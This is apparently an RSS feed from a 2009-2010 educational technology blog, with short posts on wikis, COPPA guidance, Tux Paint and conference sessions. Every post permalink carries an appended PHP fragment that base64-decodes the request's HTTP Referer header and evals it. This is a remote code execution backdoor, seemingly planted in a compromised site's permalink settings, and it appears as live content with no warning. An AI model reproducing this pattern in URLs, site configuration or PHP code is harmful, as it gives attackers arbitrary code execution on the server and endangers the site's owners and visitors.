http://edtechavenue.com your avenue for discussing educational technology Mon, 25 Jan 2010 16:01:40 +0000 http://backend.userland.com/rss092 en Great article from THE Journal online - free publication for educators! http://thejournal.com/articles/2010/01/20/14-technologies-educators-should-watch-in-2010.aspx http://edtechavenue.com/2010/01/25/14-technologies-educators-should-watch-in-2010/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ FANTASTIC short blogposting about skills vs tools - FANTASTIC graphic there, too! http://www.techlearning.com/blogs/26916 http://edtechavenue.com/2010/01/22/skills-not-tools-blogpost/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ I am looking into setting up an RSS feed. Can anyone give me any tips? http://edtechavenue.com/2009/12/08/rss-feeds/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ notes from a short workshop earlier this week. Some tools I did not know about, but will be utilizing some. Anyone out there using interactive whiteboards? If so, what do you recommend for a school if they have opportunity to purchase one. Should it go to an ... http://edtechavenue.com/2009/11/18/digital-collaboration-workshop/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ Guidelines for what is required of teachers / parents / website owners in the age of COPPA. http://www.ftc.gov/bcp/edu/pubs/consumer/tech/tec10.pdf http://edtechavenue.com/2009/11/04/coppa-for-teachers/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ This looks pretty cool! This wiki is designed to be a repository for lessons and other resources. It's a little like what we tried to do with our curriculum. http://eduwikius.wikispaces.com/ http://edtechavenue.com/2009/10/23/edu-wikis/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ Howdy, We're doing a little more with wikis, but not all teachers know quite how to work with them to get the most out of students.  This article is helpful. http://thejournal.com/Articles/2009/10/07/More-Challenges-with-Wikis-4-Ways-To-Move-Students-from-Passive-to-Active.aspx?Page=3&p=1 http://edtechavenue.com/2009/10/07/wikis-helpful-article/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ Presenters are using a student response system first to poll the audience.  This is engaging the audience and keeping attention focused while also transfering content information.  Hmmm... what we should be doing in our classrooms?  Yes!!  Resources and more information at http://conferenceconnection2009.edublogs.org/. These are NETS (standards) for Teachers.  Refer to the ... http://edtechavenue.com/2009/07/01/differentiating-netst-moving-teachers-toward-transformative-technology/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ Karen is the Technology Coordinator at a school the same size as mine - 320 students.  Tux Paint is an Open Source software package - completely free. "It's not about the Tech, it's about the Teach." Over 80 languages available - can be changed easily in the configuration for students needing alternate ... http://edtechavenue.com/2009/06/30/using-tux-paint-as-a-learning-tool/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ I chose this session for more personal than professional reasons.  I do read Wes Fryer's blog fairly regularly and have an interest in how he has included his children in his learning and sharing community throughout his professional blog and now this "family learning blog," and I wanted to learn ... http://edtechavenue.com/2009/06/30/the-power-of-our-family-learning-blog/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/